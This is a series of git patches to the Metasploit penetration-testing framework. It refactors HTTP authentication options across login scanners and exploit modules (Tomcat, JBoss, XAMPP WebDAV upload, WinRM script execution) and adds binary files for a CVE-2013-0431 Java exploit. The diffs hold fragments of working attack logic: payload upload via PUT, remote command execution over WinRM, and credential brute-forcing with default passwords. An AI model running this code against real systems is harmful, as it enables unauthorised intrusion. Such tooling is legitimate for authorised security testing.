1.8 implementation)" do + it 'should return correct source_location for a method' do + method(:hello).source_location.first.should =~ /test_helper/ + end + + it 'should not raise for immediate instance methods' do + [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| + lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise + end + end + + it 'should not raise for immediate methods' do + [:a, 1, true, false, nil].each do |immediate| + lambda { immediate.method(:to_s).source_location }.should.not.raise + end + end + end + + before do + @hello_module_source = " def hello; :hello_module; end\n" + @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" + @hello_source = "def hello; :hello; end\n" + @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" + @lambda_comment = "# This is a comment for MyLambda\n" + @lambda_source = "MyLambda = lambda { :lambda }\n" + @proc_source = "MyProc = Proc.new { :proc }\n" + end + + it 'should define methods on Method and UnboundMethod and Proc' do + Method.method_defined?(:source).should == true + UnboundMethod.method_defined?(:source).should == true + Proc.method_defined?(:source).should == true + end + + describe "Methods" do + it 'should return source for method' do + method(:hello).source.should == @hello_source + end + + it 'should return source for a method defined in a module' do + M.instance_method(:hello).source.should == @hello_module_source + end + + it 'should return source for a singleton method as an instance method' do + class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source + end + + it 'should return source for a singleton method' do + $o.method(:hello).source.should == @hello_singleton_source + end + + + it 'should return a comment for method' do + method(:hello).comment.should == @hello_comment + end + + + if !is_rbx? + it 'should raise for C methods' do + lambda { method(:puts).source }.should.raise RuntimeError + end + end + end + + # if RUBY_VERSION =~ /1.9/ || is_rbx? + describe "Lambdas and Procs" do + it 'should return source for proc' do + MyProc.source.should == @proc_source + end + + it 'should return an empty string if there is no comment' do + MyProc.comment.should == '' + end + + it 'should return source for lambda' do + MyLambda.source.should == @lambda_source + end + + it 'should return comment for lambda' do + MyLambda.comment.should == @lambda_comment + end + end + # end + describe "Comment tests" do + before do + @comment1 = "# a\n# b\n" + @comment2 = "# a\n# b\n" + @comment3 = "# a\n#\n# b\n" + @comment4 = "# a\n# b\n" + @comment5 = "# a\n# b\n# c\n# d\n" + end + + it "should correctly extract multi-line comments" do + method(:comment_test1).comment.should == @comment1 + end + + it "should correctly strip leading whitespace before comments" do + method(:comment_test2).comment.should == @comment2 + end + + it "should keep empty comment lines" do + method(:comment_test3).comment.should == @comment3 + end + + it "should ignore blank lines between comments" do + method(:comment_test4).comment.should == @comment4 + end + + it "should align all comments to same indent level" do + method(:comment_test5).comment.should == @comment5 + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb new file mode 100644 index 0000000000..53da4e519c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb @@ -0,0 +1,50 @@ +def is_rbx? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ +end + +def jruby? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ +end + + +module M + def hello; :hello_module; end +end + +$o = Object.new +def $o.hello; :hello_singleton; end + +# A comment for hello + + # It spans two lines and is indented by 2 spaces +def hello; :hello; end + +# a +# b +def comment_test1; end + + # a + # b +def comment_test2; end + +# a +# +# b +def comment_test3; end + +# a + +# b +def comment_test4; end + + +# a + # b + # c +# d +def comment_test5; end + +# This is a comment for MyLambda +MyLambda = lambda { :lambda } +MyProc = Proc.new { :proc } + From 0ae489b37b34abe3f2fabeeb65deb83922d1c800 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 23:16:46 -0600 Subject: [PATCH 151/341] last of revert-merge snaffu --- modules/auxiliary/gather/shodan_search.rb | 4 +- .../scanner/http/cisco_device_manager.rb | 4 +- modules/auxiliary/scanner/http/http_login.rb | 186 +++--------------- .../scanner/http/tomcat_mgr_login.rb | 7 +- modules/auxiliary/scanner/winrm/winrm_cmd.rb | 4 - .../auxiliary/scanner/winrm/winrm_login.rb | 6 +- modules/auxiliary/scanner/winrm/winrm_wql.rb | 7 +- modules/auxiliary/server/http_ntlmrelay.rb | 3 +- .../linux/http/piranha_passwd_exec.rb | 6 +- modules/exploits/multi/http/axis2_deployer.rb | 4 +- .../exploits/multi/http/jboss_bshdeployer.rb | 3 - .../exploits/multi/http/jboss_maindeployer.rb | 3 - .../exploits/multi/http/tomcat_mgr_deploy.rb | 14 +- .../unix/webapp/oracle_vm_agent_utl.rb | 3 - modules/exploits/windows/http/easyftp_list.rb | 4 +- .../windows/http/xampp_webdav_upload_php.rb | 10 +- .../windows/winrm/winrm_script_exec.rb | 23 +-- 17 files changed, 52 insertions(+), 239 deletions(-) diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 8b114dbdd8..218427cc1f 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -38,10 +38,10 @@ class Metasploit4 < Msf::Auxiliary )) # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'BasicAuthPass', 'BasicAuthUser', 'DOMAIN', + deregister_options('RPORT','RHOST', 'DOMAIN', 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2', 'DigestAuthPassword', 'DigestAuthUser', 'SSL') + 'NTLM::UseNTLMv2','SSL') register_options( [ diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index fd57fda9bb..9486262be7 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Cisco Device HTTP Device Manager Access', 'Description' => %q{ This module gathers data from a Cisco device (router or switch) with the device manager - web interface exposed. The BasicAuthUser and BasicAuthPass options can be used to specify + web interface exposed. The USERNAME and PASSWORD options can be used to specify authentication. }, 'Author' => [ 'hdm' ], @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} Successfully authenticated to this device") # Report a vulnerability only if no password was specified - if datastore['BasicAuthPass'].to_s.length == 0 + if datastore['PASSWORD'].to_s.length == 0 report_vuln( { diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 5a6b0ab9a6..4324e312f2 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -48,9 +48,8 @@ class Metasploit3 < Msf::Auxiliary register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ]) end - def find_auth_uri_and_scheme + def find_auth_uri - path_and_scheme = [] if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 paths = [datastore['AUTH_URI']] else @@ -80,21 +79,10 @@ class Metasploit3 < Msf::Auxiliary next if not res end - next if not res.code == 401 - next if not res.headers['WWW-Authenticate'] - path_and_scheme << path - case res.headers['WWW-Authenticate'] - when /Basic/i - path_and_scheme << "Basic" - when /NTLM/i - path_and_scheme << "NTLM" - when /Digest/i - path_and_scheme << "Digest" - end - return path_and_scheme + return path end - return path_and_scheme + return path end def target_url @@ -111,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end - @uri, @scheme = find_auth_uri_and_scheme() + @uri = find_auth_uri if ! @uri print_error("#{target_url} No URI found that asks for HTTP authentication") return @@ -119,12 +107,7 @@ class Metasploit3 < Msf::Auxiliary @uri = "/#{@uri}" if @uri[0,1] != "/" - if ! @scheme - print_error("#{target_url} Incompatible authentication scheme") - return - end - - print_status("Attempting to login to #{target_url} with #{@scheme} authentication") + print_status("Attempting to login to #{target_url}") each_user_pass { |user, pass| do_login(user, pass) @@ -133,27 +116,21 @@ class Metasploit3 < Msf::Auxiliary def do_login(user='admin', pass='admin') vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") - success = false - proof = "" - - ret = do_http_login(user,pass,@scheme) - return :abort if ret == :abort - if ret == :success - proof = @proof.dup - success = true - end - - if success + + response = do_http_login(user,pass) + result = determine_result(response) + + if result == :success print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") any_user = false any_pass = false vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = do_http_login(Rex::Text.rand_text_alpha(8), pass, @scheme) + any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = do_http_login(user, Rex::Text.rand_text_alpha(8), @scheme) + any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) if any_user == :success user = "anyuser" @@ -175,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? 'https' : 'http'), :user => user, :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{proof}", + :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", :source_type => "user_supplied", :active => true ) @@ -188,142 +165,25 @@ class Metasploit3 < Msf::Auxiliary end end - def do_http_login(user,pass,scheme) - case scheme - when /NTLM/i - do_http_auth_ntlm(user,pass) - when /Digest/i - do_http_auth_digest(user,pass,datastore['REQUESTTYPE']) - when /Basic/i - do_http_auth_basic(user,pass) - else - vprint_error("#{target_url}: Unknown authentication scheme") - return :abort - end - end - - def do_http_auth_ntlm(user,pass) + def do_http_login(user,pass) begin - resp,c = send_http_auth_ntlm( + response = send_request_cgi({ 'uri' => @uri, + 'method' => datastore['REQUESTTYPE'], 'username' => user, 'password' => pass - ) - c.close - return :abort if (resp.code == 404) - - if [200, 301, 302].include?(resp.code) - @proof = resp - return :success - end - + }) + return response rescue ::Rex::ConnectionError vprint_error("#{target_url} - Failed to connect to the web server") - return :abort + return nil end - - return :fail end - def do_http_auth_basic(user,pass) - user_pass = Rex::Text.encode_base64(user + ":" + pass) - - begin - res = send_request_cgi({ - 'uri' => @uri, - 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } - }, 25) - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if [200, 301, 302].include?(res.code) - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - - return :fail - end - - def do_http_auth_digest(user,pass,requesttype) - path = datastore['AUTH_URI'] || "/" - begin - if requesttype == "PUT" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => 'Test123\r\n', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - elsif requesttype == "PROPFIND" - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - 'data' => '', - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass, - 'headers' => { 'Depth' => '0'} - }, 25) - else - res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => requesttype, - #'DigestAuthIIS' => false, - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - end - - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{target_url} not responding") - return :abort - end - - return :abort if (res.code == 404) - - if ( [200, 301, 302].include?(res.code) ) or (res.code == 201) - if ((res.code == 201) and (requesttype == "PUT")) - print_good("Trying to delete #{path}") - del_res,c = send_digest_request_cgi({ - 'uri' => path, - 'method' => 'DELETE', - 'DigestAuthUser' => user, - 'DigestAuthPassword' => pass - }, 25) - if not (del_res.code == 204) - print_error("#{path} could be created, but not deleted again. This may have been noisy ...") - end - end - @proof = res - return :success - end - - if (res.code == 207) and (requesttype == "PROPFIND") - @proof = res - return :success - end - - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return :abort - end - + def determine_result(response) + return :abort unless response.kind_of? Rex::Proto::Http::Response + return :abort unless response.code + return :success if [200, 301, 302].include?(response.code) return :fail end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 65ab691e66..a3581d16b0 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -101,16 +101,13 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") success = false srvhdr = '?' - user_pass = Rex::Text.encode_base64(user + ":" + pass) uri = normalize_uri(datastore['URI']) begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', - 'headers' => - { - 'Authorization' => "Basic #{user_pass}", - } + 'username' => user, + 'password' => pass }, 25) unless (res.kind_of? Rex::Proto::Http::Response) vprint_error("http://#{rhost}:#{rport}#{uri} not responding") diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 12f0c70422..88e9e717d6 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -40,10 +40,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end streams = winrm_run_cmd(datastore['CMD']) return unless streams.class == Hash print_error streams['stderr'] unless streams['stderr'] == '' diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index d8012fb723..946903113e 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -39,12 +39,8 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end each_user_pass do |user, pass| - resp,c = send_request_ntlm(test_request) + resp = send_winrm_request(test_request) if resp.nil? print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" return diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index ed09cfd583..0c5eeb6274 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -42,12 +42,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - unless accepts_ntlm_auth - print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth" - return - end - - resp,c = send_request_ntlm(winrm_wql_msg(datastore['WQL'])) + resp = send_winrm_request(winrm_wql_msg(datastore['WQL'])) if resp.nil? print_error "Got no reply from the server" return diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index fda08e41c4..080803918b 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -84,8 +84,7 @@ class Metasploit3 < Msf::Auxiliary 'IPC$,ADMIN$,C$,D$,CCMLOGS$,ccmsetup$,share,netlogon,sysvol']) ], self.class) - deregister_options('BasicAuthPass', 'BasicAuthUser', 'DOMAIN', 'DigestAuthPassword', - 'DigestAuthUser', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', + deregister_options('DOMAIN', 'NTLM::SendLM', 'NTLM::SendSPN', 'NTLM::SendNTLM', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') end diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index d87027cadb..85ff71eca8 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'piranha']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'q']) ], self.class) end @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 401 - print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!") + print_error("401 Authorization Required! Our Credentials not accepted!") elsif (res.code == 200 and res.body =~ /The passwords you supplied match/) print_status("Command successfully executed (according to the server).") end diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 565d73a293..9f030bbbc2 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -227,9 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote authmsg = res.headers['WWW-Authenticate'] end print_error("The remote server responded expecting authentication") - if datastore['BasicAuthUser'] and datastore['BasicAuthPass'] - print_error("BasicAuthUser \"%s\" failed to authenticate" % datastore['BasicAuthUser']) - elsif authmsg + if authmsg print_error("WWW-Authenticate: %s" % authmsg) end cleanup_instructions(rpath, name) # display cleanup info diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index 07d5eb2ada..f350fe4984 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -96,9 +96,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 7c36c1fa16..2297b52569 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -123,9 +123,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8)) app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8)) diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index a46cd2c033..2757cb6e13 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -112,9 +112,6 @@ class Metasploit3 < Msf::Exploit::Remote end def check - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - res = query_serverinfo disconnect return CheckCode::Unknown if res.nil? @@ -127,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) @@ -164,9 +161,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - mytarget = target if (target.name =~ /Automatic/) mytarget = auto_target @@ -221,8 +215,8 @@ class Metasploit3 < Msf::Exploit::Remote :host => rhost, :port => rport, :sname => (ssl ? "https" : "http"), - :user => datastore['BasicAuthUser'], - :pass => datastore['BasicAuthPass'], + :user => datastore['USERNAME'], + :pass => datastore['PASSWORD'], :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", :active => true ) diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 9865c8716b..3bfd6c668e 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote end def go(command) - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - xml = <<-EOS diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 3484cdf86f..e162cd74f6 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) ], self.class) end diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c19096b2c8..f5b21a0499 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), - OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), - OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end @@ -46,12 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = build_path print_status "Uploading Payload to #{uri}" - res,c = send_digest_request_cgi({ + res = send_request_cgi({ 'uri' => uri, 'method' => 'PUT', 'data' => payload.raw, - 'DigestAuthUser' => datastore['RUSER'], - 'DigestAuthPassword' => datastore['RPASS'] + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] }, 25) unless (res and res.code == 201) print_error "Failed to upload file!" diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 666ca66d3d..c53314f136 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -66,20 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote @compat_mode = false end - def check - unless accepts_ntlm_auth - print_error "The Remote WinRM server does not appear to allow Negotiate (NTLM) auth" - return Msf::Exploit::CheckCode::Safe - end - - return Msf::Exploit::CheckCode::Vulnerable - end - - def exploit - unless check == Msf::Exploit::CheckCode::Vulnerable - return - end unless valid_login? print_error "Login Failure. Recheck your credentials" return @@ -141,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote def temp_dir print_status "Grabbing %TEMP%" - resp,c = send_request_ntlm(winrm_open_shell_msg) + resp = send_winrm_request(winrm_open_shell_msg) if resp.nil? print_error "Got no reply from the server" return nil @@ -152,16 +139,16 @@ class Metasploit3 < Msf::Exploit::Remote end shell_id = winrm_get_shell_id(resp) cmd = "echo %TEMP%" - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id)) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id)) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id)) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id)) streams = winrm_get_cmd_streams(resp) return streams['stdout'].chomp end def check_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} - resp,c = send_request_ntlm(winrm_wql_msg(wql)) + resp = send_winrm_request(winrm_wql_msg(wql)) #Default to x86 if we can't be sure return "x86" if resp.nil? or resp.code != 200 resp_tbl = parse_wql_response(resp) @@ -247,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote def valid_login? data = winrm_wql_msg("Select Name,Status from Win32_Service") - resp,c = send_request_ntlm(data) + resp = send_winrm_request(data) unless resp.code == 200 return false end From accd6208433afb177c603ceb8e24efb165c24f6d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 23:50:30 -0600 Subject: [PATCH 152/341] Clean up pry --- lib/rex/proto/http/client.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ba46142a45..cf2cab885e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,8 +8,6 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' -require 'pry' - module Rex module Proto module Http @@ -356,15 +354,14 @@ class Client end end - return res if opts['username'].nil? or opts['username'] = '' + return res if opts['username'].nil? or opts['username'] == '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(username,password) + opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) else - opts['headers'] = { 'Authorization' => basic_auth_header(username,password)} + opts['headers'] = { 'Authorization' => basic_auth_header(opts['username'],opts['password'] )} end - req = request_cgi(opts) res = _send_recv(req,t,persist) return res From d88ad80116e83190660212bc4104d745e7ec27b4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 16:39:53 +0100 Subject: [PATCH 153/341] Added first version of cve-2013-0431 --- data/exploits/cve-2013-0431/B.class | Bin 0 -> 619 bytes data/exploits/cve-2013-0431/Exploit.class | Bin 0 -> 2743 bytes external/source/exploits/cve-2013-0431/B.java | 19 +++ .../exploits/cve-2013-0431/Exploit.java | 93 ++++++++++++ .../source/exploits/cve-2013-0431/Makefile | 18 +++ .../multi/browser/java_jre17_jmxbean_2.rb | 134 ++++++++++++++++++ 6 files changed, 264 insertions(+) create mode 100755 data/exploits/cve-2013-0431/B.class create mode 100755 data/exploits/cve-2013-0431/Exploit.class create mode 100755 external/source/exploits/cve-2013-0431/B.java create mode 100755 external/source/exploits/cve-2013-0431/Exploit.java create mode 100644 external/source/exploits/cve-2013-0431/Makefile create mode 100644 modules/exploits/multi/browser/java_jre17_jmxbean_2.rb diff --git a/data/exploits/cve-2013-0431/B.class b/data/exploits/cve-2013-0431/B.class new file mode 100755 index 0000000000000000000000000000000000000000..953d5408a7a15e180bfb1570604cbab55bca2e5a GIT binary patch literal 619 zcmah`%TB^j5Is{W)moK@;v2<{g@r6!q9$r|g^vV+ad{~>qzWzRgUA=T)s;pQKfsSt zr^SdG6LXW9J7?ycb04p7PcHzrv7uuOSsk;O(~#3Kj|B~j8kRIH6Ouc&V+VVLgjsA5 z)I+x=2{TpOk*8s|DZRRAb{Lte1;V;M5xuyM**PY8p+lH8i`6U97v+v{+U2w6m9&Bi zL9e-?XUStb;wKNbq7eh*n9#6dU=?{nc0@b6v1Bi>T}Q*3fpruJsZn<*N}vP6W(@n% z3Ozd*l+Qi8&lYXj`jXhUA|XQl=j6U+N#8$ooxpQD9qAE_mOG*ocFo~E{@1SjdE;*f zt_}P^b_p3@2DQ(lo(M;@BisC^PyAlLx|L!B1tj^;2pWH&!kOQUqs~>Gv%-10^Z+V7 zLbh5 zl_4=Daa|yE)G!U_xIlSR^96xGmo=^nRQDOCJ}{lVs@o&l)eI#8S52U5*wND0`?Z`W z_MBvhP9n>Q1S%$Vr(bujS>pmHn);@+87+~~%*jMoM$6|@KEbeK8|Gx{ak}D0 z?Ia2wQWB;YutiV;kx3())jdA~d;PwPuKb<~$I-LOpCwjAU{heG6drJjh;7fsK zYR6qZs2%rd$34{^Gw*1oV`z>=uD^1LuOR*cCndZW>Pnz?4YQ9pH&0))5Q-Hf5cSlw zTrQ(Ki4JcPC>!fs0mq8!F<0wIVEdZe(!!@JKWpBZjIzPiCw$G+CiN_9B{5X!7go2A zv&J>IEBiD0V9rf^sbZMD>iK4XO;2l{8Y&Fwd9PhM@`dszyBoJ&DME%EV4?CR2sVv% zHurFzwGD?|C%NwFaj%<7$6D<&sy8*ebcGCa#=1_uBmScbU6ArKQxy4QFN)~d)MpE+ zPSexY5`e2p(X8%hdG7{DoYUqrY$isL)eKW$Ta*8&l{`jd=0X4icho}t7J9?wCp-CMH^lVR5+*ERN*Z$GN03VO%b;r z#Y!n{B00Xk5t#MIRrKfuQBrR{lhl9io+S23UNkG$`-WZ^A){W`mjZ1}*hW0BQ)i{g z3Ck|9Q}XN-p{(b?Uo)lMm%=VSzfF9-fdE+Vh;eM;s-83NBm`qi5cl~$t)Fm=THq?MOeaA} zeTjV%`z0-~jIEwbl*sbnI^hoOU_5*b8J|o4pIk*a54A*}d4TPYpz`MunGBX63e|?x z;KRGvuLf&F2a-~ii`YSiIMpR9)Nt!B*j)b|D%6UH-y@{Td$&SjVfpU`1d{=AkDh^( z7{IeQg|psVU?S$7*hLmjl9O(hz-cmZhVk?eK`*ttso#flv~iK{LFfr;B~<>z6SPVk 